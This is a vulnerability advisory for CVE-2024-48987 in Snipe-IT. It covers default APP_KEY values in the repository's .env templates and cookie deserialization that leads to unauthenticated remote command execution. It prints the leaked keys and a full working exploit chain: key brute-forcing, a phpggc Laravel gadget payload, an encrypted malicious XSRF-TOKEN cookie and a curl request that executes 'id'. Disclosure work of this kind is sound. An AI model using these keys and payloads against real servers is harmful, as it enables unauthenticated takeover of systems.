Snipe-IT - Unauthenticated Remote Command Execution when APP_KEY known
13/12/2024 - Téléchargement
Product
Snipe-IT
Severity
High
Fixed Version(s)
7.1.15
Affected Version(s)
≤ 7.1.14
CVE Number
CVE-2024-48987
Authors
Description
Presentation
Snipe-IT is an open source asset management system based on the PHP framework Laravel.
Issue(s)
Synacktiv identified two issues on Snipe-IT:
XSRF-TOKEN
cookies use serialized ciphered data, leading to remote code execution if an attacker gets access to theAPP_KEY
.- The usage of a default
APP_KEY
value on several.env
files from the main repository can put users at risk regarding the previous issue.
When both vulnerabilities are met on a Snipe-IT instance, an unauthenticated attacker could compromise it.
Timeline
Date | Description |
---|---|
2024.07.17 | Advisory sent to security@snipeitapp.com |
2024.09.22 | Release of version 7.1.15 containing the patch |
2024.10.11 | CVE-2024-48987 assigned |
2024.12.13 | Public release |
Many thanks to Snipe-IT for handling this quick disclosure process.
Technical details
Usage of a default APP_KEY value on .env templates on GitHub
Description
Several .env
templates from the Snipe-IT repository contain default values for the APP_KEY
environment variable.
$ git clone https://github.com/snipe/snipe-it
$ grep APP_KEY snipe-it/.env*
snipe-it/.env.dev.docker:APP_KEY=base64:3ilviXqB9u6DX1NRcyWGJ+sjySF+H18CPDGb3+IVwMQ=
snipe-it/.env.docker:APP_KEY=base64:3ilviXqB9u6DX1NRcyWGJ+sjySF+H18CPDGb3+IVwMQ=
snipe-it/.env.dusk.example:APP_KEY=base64:hTUIUh9CP6dQx+6EjSlfWTgbaMaaRvlpEwk45vp+xmk=
snipe-it/.env.example:APP_KEY=ChangeMe
snipe-it/.env.testing-ci:APP_KEY='base64:glJpcM7BYwWiBggp3SQ/+NlRkqsBQMaGEOjemXqJzOU='
snipe-it/.env.testing.example:APP_KEY=base64:glJpcM7BYwWiBggp3SQ/+NlRkqsBQMaGEOjemXqJzOU=
snipe-it/.env.tests:APP_KEY=base64:tu9NRh/a6+dCXBDGvg0Gv/0TcABnFsbT4AKxrr8mwQo=
snipe-it/.env.unit-tests:APP_KEY=base64:tu9NRh/a6+dCXBDGvg0Gv/0TcABnFsbT4AKxrr8mwQo=
[...]
Impact
While the core documentation does mention the APP_KEY
generation step, developers may still use the default .env
templates and put their instance at risk. As described in the next vulnerability, this parameter could allow unauthenticated users to execute remote commands on the affected servers.
Recommendation
Regenerate a new APP_KEY
if you do use the default configuration of the application, the command php artisan key:generate
can be used to do so.
Arbitrary unserialization via decrypt
Description
The XSRF-TOKEN
cookie is delivered to any unauthenticated user navigating to the /login
endpoint on a Snipe-IT instance:
$ curl -I http://localhost:8000/login
HTTP/1.1 200 OK
Date: Wed, 11 Dec 2024 16:39:05 GMT
[...]
Set-Cookie: XSRF-TOKEN=eyJpdiI6Im1KQWlWQ1NxbHZhaEsxcFI2OFM4NEE9PSIsInZhbHVlIjoiR3lISEp1SUljWlp6NzFGSVZhTXJEK0pRY2RFcUl0MFAxYmRmNHd5M25qT1lGTktYUmdpM3BleFlZVDFKcTcyYkVhOHBSRzBWbnFxMkpSSC80MWx0azlYcWI4aTk2Um13ZWxOV3JqMDhGa0lvRWVtbGZTeWhLdDAzeThPTFVvWTUiLCJtYWMiOiI4ZjYyMmY5YWEwZjAyZmYyYmYxMmE5ZTdmYTVhZWMyOGE3YzZkZWRkZTQ4OWViYTQwYWI3NTBhYzU3Nzc4Mzk4IiwidGFnIjoiIn0%3D; expires=Fri, 20-Dec-2024 00:39:05 GMT; Max-Age=720000; path=/
Set-Cookie: snipeit_session=6EVBZ4YhSN0gG7tQd5sG8CgDck56QrvZnArcBqoX; expires=Fri, 20-Dec-2024 00:39:05 GMT; Max-Age=720000; path=/; httponly
Content-Type: text/html; charset=UTF-8
As shown on the previous vulnerability, a default APP_KEY
can be defined if the developers copied the default .env.example
file provided by Snipe-IT.
In order to manipulate and exploit Laravel ciphers, the laravel-crypto-killer tool can be used. In the following example, the bruteforce
option was used in order to try several default known APP_KEYs
such as the ones from Snipe-IT:
$ ./laravel_crypto_killer.py bruteforce -v eyJpdiI6Im1KQWlWQ1NxbHZhaEsxcFI2OFM4NEE9PSIsInZhbHVlIjoiR3lISEp1SUljWlp6NzFGSVZhTXJEK0pRY2RFcUl0MFAxYmRmNHd5M25qT1lGTktYUmdpM3BleFlZVDFKcTcyYkVhOHBSRzBWbnFxMkpSSC80MWx0azlYcWI4aTk2Um13ZWxOV3JqMDhGa0lvRWVtbGZTeWhLdDAzeThPTFVvWTUiLCJtYWMiOiI4ZjYyMmY5YWEwZjAyZmYyYmYxMmE5ZTdmYTVhZWMyOGE3YzZkZWRkZTQ4OWViYTQwYWI3NTBhYzU3Nzc4Mzk4IiwidGFnIjoiIn0%3D
[*] The option --key_file was not defined, using files from the folder wordlists...
0%| | 0/1 [00:00<?, ?it/s][+] It is your lucky day! A key was identified!
Cipher : eyJpdiI6Im1KQWlWQ1NxbHZhaEsxcFI2OFM4NEE9PSIsInZhbHVlIjoiR3lISEp1SUljWlp6NzFGSVZhTXJEK0pRY2RFcUl0MFAxYmRmNHd5M25qT1lGTktYUmdpM3BleFlZVDFKcTcyYkVhOHBSRzBWbnFxMkpSSC80MWx0azlYcWI4aTk2Um13ZWxOV3JqMDhGa0lvRWVtbGZTeWhLdDAzeThPTFVvWTUiLCJtYWMiOiI4ZjYyMmY5YWEwZjAyZmYyYmYxMmE5ZTdmYTVhZWMyOGE3YzZkZWRkZTQ4OWViYTQwYWI3NTBhYzU3Nzc4Mzk4IiwidGFnIjoiIn0%3D
Key : base64:3ilviXqB9u6DX1NRcyWGJ+sjySF+H18CPDGb3+IVwMQ=
[*] Unciphered value
s:81:"60df322f0820f6ad9767a45596a3de165d76a812|5txCpoN9ZX8gPrJA806QB05Zi0dZIiX7kjrGbc7X";
[+] Matched serialized data in results!
100%|████████████████████████████████████████████████████| 1/1 [00:00<00:00, 85.65it/s]
[*] 1 cipher(s) loaded
[+] Found a valid key for 1 cipher(s)!
[+] Matched 1 serialized data in results! It's time to exploit unserialization to get RCE mate!
[+] Results saved in the file results/results.json
The output of the tool gives the valid default APP_KEY
:base64:3ilviXqB9u6DX1NRcyWGJ+sjySF+H18CPDGb3+IVwMQ=
and the deciphered value s:81:"60df322f0820f6ad9767a45596a3de165d76a812|5txCpoN9ZX8gPrJA806QB05Zi0dZIiX7kjrGbc7X";
as well, which is a PHP serialized data.
This is a well-known issue which was already exploited on several Laravel projects (CVE-2018-15133) and a patch was released in 2018. However, the latter was manually disabled in Snipe-IT source code, in the app/Providers/AuthServiceProvider.php
file:
<?php
public function boot()
{
[...]
Passport::withCookieSerialization();
[...]
The Passport::withCookieSerialization()
method enables usage of serialized data in the XSRF-TOKEN
cookie (more details from the Laravel website).
Note: When encrypted cookie serialization is enabled, your application will be vulnerable to attack if its encryption key is accessed by a malicious party. If you believe your key may be in the hands of a malicious party, you should rotate the key to a new value before enabling encrypted cookie serialization.
Impact
An attacker in possession of the APP_KEY
is able to fully control a string passed to an unserialize
function when a call to the decrypt($user_input)
function from the package Illuminate\Encryption
. Which is the case in the cookie XSRF-TOKEN
when the option Passport::withCookieSerialization();
is enforced.
In order to generate a serialization payload designed to run the bash command id
on a Laravel based server the tool phpggc was used.
$ php7.4 phpggc Laravel/RCE9 system id -b
Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MjU6IklsbHVtaW5hdGVcQnVzXERpc3BhdGNoZXIiOjU6e3M6MTI6IgAqAGNvbnRhaW5lciI7TjtzOjExOiIAKgBwaXBlbGluZSI7TjtzOjg6IgAqAHBpcGVzIjthOjA6e31zOjExOiIAKgBoYW5kbGVycyI7YTowOnt9czoxNjoiACoAcXVldWVSZXNvbHZlciI7czo2OiJzeXN0ZW0iO31zOjg6IgAqAGV2ZW50IjtPOjM4OiJJbGx1bWluYXRlXEJyb2FkY2FzdGluZ1xCcm9hZGNhc3RFdmVudCI6MTp7czoxMDoiY29ubmVjdGlvbiI7czoyOiJpZCI7fX0=
In order to manipulate and exploit Laravel ciphers, the tool laravel-crypto-killer can be once more. The chain generated from phpggc can be encrypted again in order to get remote command execution on the affected server, without prior access:
$ ./laravel_crypto_killer.py encrypt -k 3ilviXqB9u6DX1NRcyWGJ+sjySF+H18CPDGb3+IVwMQ= -v $(php7.4 phpggc Laravel/RCE9 system id -b)
eyJpdiI6ICJvck1SVWxyNDF6Lytaeks4a3NxU0tnPT0iLCAidmFsdWUiOiAiUkI0Z21sbCtZN1lJcWY2OS9HaHNjMDhteGNycGwvSStNQ2FaTDczdHhOTlpUUE5kVExCbkQybm5LRHp5SEtwYkRkeVVXcEZzWVpzMTNRbnJSSnFaaFdOVDczY1hsajFTMzFqNXZ1NFhYZGdjenFBT2s1LytiSURTbDQyU3JWNUMzM3lCRjZxZGhBWDVlMklYR1Y2c29FdnRRVUtvMkkxQkorYnltWGtFOHFUREwwTUU3TWRrWlRGR1FRdTkydE85b0JxeW5WRldOcUFieCtoYnM1UjREaDhBaGg5bzVhK3U1Q2o5OHkwRS80MlFVZmRPMW9SQm0rYVliMTRUTFZWTGc0TjhHK010SWpUclBpeURwT1Mxd3lSWTkvTlpZelcxVGs3Z2xTVTFBdXBvZ1RoSUEyckhaTTJ1TXBUTklZYiswV0NFTEZGa2padHkzUEovRER2Nzh5a2h3OXFKb0dRQ01mMVllMnVMUS8rdGh3N1JWWCtJazhWaEk0K0ROVkhYdWk1ekh2MUZzUGJFZTdkWCszQ1RvcDBkcktpTlBzdlVUVHVEMlRkWmN3ODRza1Y3WXNPSWU5RHdXbEswT1o1UCIsICJtYWMiOiAiNjA0ODE1NjQ1NWY2YWJmNGY5OWE2YTg3YzY0MzUxNDU0YmU0YzQwMDliM2NiMDJkYTg2ODZkNzNmMzJjMWEyZiIsICJ0YWciOiAiIn0=
# Reusing the previous base64 chain to trigger the remote command execution
$ curl -s -H "Cookie: XSRF-TOKEN=ey[...]0=" http://localhost:8000/login | head -n 1
uid=1000(docker) gid=50(staff) groups=50(staff)
The following video sums up the exploitation process:
Recommendation
Upgrade Snipe-IT to version 7.1.15 or greater.